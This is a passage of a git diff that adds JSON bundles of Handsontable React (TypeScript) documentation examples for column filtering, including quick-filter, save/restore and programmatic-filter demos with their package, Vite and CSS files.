\"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleFilterBasicDemo\"));\nroot.render(React.createElement(App));","/src/App.tsx":"// to import filtering as an individual module, see the 'Import the filtering module' section of this page\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleFilterBasicDemo.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterBasicDemo","exampleTitle":"Filtering demo","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json new file mode 100644 index 00000000..f921ceb4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Filter different types of data · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleFilterDifferentTypes\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleFilterDifferentTypes.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterDifferentTypes","exampleTitle":"Filter different types of data","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json new file mode 100644 index 00000000..772cd3f5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Filter data on initialization · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleFilterOnInitialization\"));\nroot.render(React.createElement(App));","/src/App.tsx":"// you need `useRef` to call Handsontable's instance methods\nimport { useRef, useEffect } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n\n useEffect(() => {\n const handsontableInstance = hotTableComponentRef.current?.hotInstance;\n // get the `Filters` plugin, so you can use its API\n const filters = handsontableInstance?.getPlugin('filters');\n\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters?.addCondition(2, 'lt', [200]);\n filters?.filter();\n }, []);\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleFilterOnInitialization.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterOnInitialization","exampleTitle":"Filter data on initialization","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json new file mode 100644 index 00000000..dfd7608b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Filter data programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleFilterThroughAPI1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const filterBelow200 = () => {\n // get the `Filters` plugin, so you can use its API\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // clear any existing filters\n filters?.clearConditions();\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters?.addCondition(2, 'lt', [200]);\n filters?.filter();\n };\n\n const filterAbove200 = () => {\n // get the `Filters` plugin, so you can use its API\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n filters?.clearConditions();\n // display only items that are more than ('gt') $200\n filters?.addCondition(2, 'gt', [200]);\n filters?.filter();\n };\n\n const clearAllFilters = () => {\n // get the `Filters` plugin, so you can use its API\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // clear all filters\n filters?.clearConditions();\n filters?.filter();\n };\n\n return (\n <>\n
    \n
    \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleFilterThroughAPI1.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterThroughAPI1","exampleTitle":"Filter data programmatically","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json new file mode 100644 index 00000000..2f092ad6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Get filtered data · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleGetFilteredData\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const [rowCountInfo, setRowCountInfo] = useState('');\n\n const updateRowCountInfo = () => {\n const hotInstance = hotTableComponentRef.current?.hotInstance;\n\n if (!hotInstance) {\n return;\n }\n\n // `getData()` returns only the rows that pass the current filters\n // `getSourceData()` always returns every row, filtered or not\n setRowCountInfo(`Showing ${hotInstance.getData().length} of ${hotInstance.getSourceData().length} rows.`);\n };\n\n return (\n <>\n

    {rowCountInfo}

    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleGetFilteredData.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleQuickFilter.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleQuickFilter.tsx.json new file mode 100644 index 00000000..ae86320d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleQuickFilter.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · External quick filter · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleQuickFilter\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Embedded so the example is self-contained in StackBlitz and bundler environments.\nconst QUICK_FILTER_STYLES = `\n .controlsQuickFilter {\n position: relative;\n display: flex;\n align-items: center;\n gap: 0.75rem;\n margin: 0;\n padding: 0;\n }\n #filterField {\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n background: none;\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.4rem 0.625rem;\n outline: none;\n width: 140px;\n }\n #filterField::placeholder { color: var(--sl-color-gray-3, #777777); }\n #filterField:focus { border-color: var(--sl-color-accent, #1A42E8); }\n #filterField:focus-visible {\n border-color: var(--sl-color-accent, #1A42E8);\n box-shadow: 0 0 0 1px var(--sl-color-accent, #1A42E8);\n }\n .filter-dropdown {\n position: relative;\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n }\n .filter-dropdown-label {\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-sm, 0.875rem);\n white-space: nowrap;\n }\n .filter-dropdown-trigger {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-2, #555555);\n cursor: pointer;\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 500;\n padding: 0.4rem 0.625rem;\n transition: color 0.15s, background-color 0.15s;\n white-space: nowrap;\n border-radius: 0;\n }\n .filter-dropdown-trigger:hover {\n color: var(--sl-color-white, #333333);\n background: var(--sl-color-gray-7, var(--sl-color-gray-6, #eeeeee));\n }\n .filter-dropdown-chevron {\n flex-shrink: 0;\n margin-inline-start: 0.15rem;\n transition: transform 0.15s;\n }\n .filter-dropdown-trigger[aria-expanded='true'] .filter-dropdown-chevron { transform: rotate(180deg); }\n .filter-dropdown-menu {\n background: var(--sl-color-bg-nav, #ffffff);\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n box-shadow: none;\n inset-inline-start: 0;\n list-style: none;\n margin: 0;\n min-width: 100%;\n overflow-y: auto;\n padding: 0;\n position: absolute;\n top: 100%;\n z-index: 9999;\n }\n .filter-dropdown-menu li {\n align-items: center;\n color: var(--sl-color-text, #333333);\n display: flex;\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.5rem 0.75rem;\n cursor: pointer;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n transition: background 0.1s, color 0.1s;\n white-space: nowrap;\n list-style: none;\n margin: 0;\n }\n .filter-dropdown-menu li:last-child { border-bottom: none; }\n .filter-dropdown-menu li:hover,\n .filter-dropdown-menu li:focus-visible {\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-white, #333333);\n outline: none;\n }\n .filter-dropdown-menu li[aria-selected='true'] {\n color: var(--sl-color-white, #333333);\n box-shadow: inset 0 0 0 1px var(--sl-color-accent, #1A42E8);\n }\n`;\n\nconst columnOptions = [\n { value: '0', label: 'Brand' },\n { value: '1', label: 'Model' },\n { value: '2', label: 'Price' },\n { value: '3', label: 'Date' },\n { value: '4', label: 'Time' },\n { value: '5', label: 'In stock' },\n];\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const dropdownRef = useRef(null);\n const [selectedColumn, setSelectedColumn] = useState('0');\n const [open, setOpen] = useState(false);\n\n useEffect(() => {\n const handleClickOutside = (e: MouseEvent) => {\n if (dropdownRef.current && !dropdownRef.current.contains(e.target as Node)) {\n setOpen(false);\n }\n };\n\n document.addEventListener('click', handleClickOutside);\n\n return () => document.removeEventListener('click', handleClickOutside);\n }, []);\n\n const handleFilter = (event: React.KeyboardEvent) => {\n const handsontableInstance = hotTableComponentRef.current?.hotInstance;\n const filtersPlugin = handsontableInstance?.getPlugin('filters');\n\n filtersPlugin?.removeConditions(Number(selectedColumn));\n filtersPlugin?.addCondition(Number(selectedColumn), 'contains', [(event.target as HTMLInputElement).value]);\n filtersPlugin?.filter();\n handsontableInstance?.render();\n };\n\n const handleSelect = (col: { value: string; label: string }) => {\n setSelectedColumn(col.value);\n setOpen(false);\n };\n\n const selectedLabel = columnOptions.find((c) => c.value === selectedColumn)?.label || 'Brand';\n\n return (\n <>\n \n
    \n
    \n
    \n Select a column:\n setOpen(!open)}\n >\n {selectedLabel}\n \n \n {open && (\n
      \n {columnOptions.map((col) => (\n handleSelect(col)}\n >\n {col.label}\n \n ))}\n
    \n )}\n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".controlsQuickFilter {\n position: relative;\n display: flex;\n align-items: center;\n gap: 0.75rem;\n margin: 0;\n padding: 0;\n}\n\n#filterField {\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n background: none;\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.4rem 0.625rem;\n outline: none;\n width: 140px;\n}\n\n#filterField::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n#filterField:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n#filterField:focus-visible {\n border-color: var(--sl-color-accent, #1A42E8);\n box-shadow: 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}\n\n/* Filter dropdown */\n.filter-dropdown {\n position: relative;\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n}\n\n.filter-dropdown-label {\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-sm, 0.875rem);\n white-space: nowrap;\n}\n\n.filter-dropdown-trigger {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-2, #555555);\n cursor: pointer;\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 500;\n padding: 0.4rem 0.625rem;\n transition: color 0.15s, background-color 0.15s;\n white-space: nowrap;\n border-radius: 0;\n}\n\n.filter-dropdown-trigger:hover {\n color: var(--sl-color-white, #333333);\n background: var(--sl-color-gray-7, var(--sl-color-gray-6, #eeeeee));\n}\n\n.filter-dropdown-chevron {\n flex-shrink: 0;\n margin-inline-start: 0.15rem;\n transition: transform 0.15s;\n}\n\n.filter-dropdown-trigger[aria-expanded='true'] .filter-dropdown-chevron {\n transform: rotate(180deg);\n}\n\n.filter-dropdown-menu {\n background: var(--sl-color-bg-nav, #ffffff);\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n box-shadow: none;\n inset-inline-start: 0;\n list-style: none;\n margin: 0;\n min-width: 100%;\n overflow-y: auto;\n padding: 0;\n position: absolute;\n top: 100%;\n z-index: 9999;\n}\n\n.filter-dropdown-menu[hidden] {\n display: none !important;\n}\n\n.filter-dropdown-menu li {\n align-items: center;\n color: var(--sl-color-text, #333333);\n display: flex;\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.5rem 0.75rem;\n cursor: pointer;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n transition: background 0.1s, color 0.1s;\n white-space: nowrap;\n list-style: none;\n margin: 0;\n}\n\n.filter-dropdown-menu li:last-child {\n border-bottom: none;\n}\n\n.filter-dropdown-menu li:hover,\n.filter-dropdown-menu li:focus-visible {\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-white, #333333);\n outline: none;\n}\n\n.filter-dropdown-menu li[aria-selected='true'] {\n color: var(--sl-color-white, #333333);\n box-shadow: inset 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}"},"docsPath":"guides/columns/column-filter/react/exampleQuickFilter.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleQuickFilter","exampleTitle":"External quick filter","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json new file mode 100644 index 00000000..9690b822 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Save and restore filter settings · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleSaveRestoreFilters\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const savedConditions = useRef([]);\n\n const applySampleFilter = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n filters?.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters?.addCondition(2, 'gt', [200]);\n filters?.filter();\n };\n\n const saveFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions.current = filters?.exportConditions() ?? [];\n };\n\n const clearFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n filters?.clearConditions();\n filters?.filter();\n };\n\n const restoreFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // `importConditions()` expects the same physical-column-indexed structure\n filters?.importConditions(savedConditions.current);\n filters?.filter();\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleSaveRestoreFilters.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSearchMode.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSearchMode.tsx.json new file mode 100644 index 00000000..83a0ff01 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleSearchMode.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Enable filtering within already filtered results · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleSearchMode\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleSearchMode.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSearchMode","exampleTitle":"Enable filtering within already filtered results","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json new file mode 100644 index 00000000..5f17286d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Server-side filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": 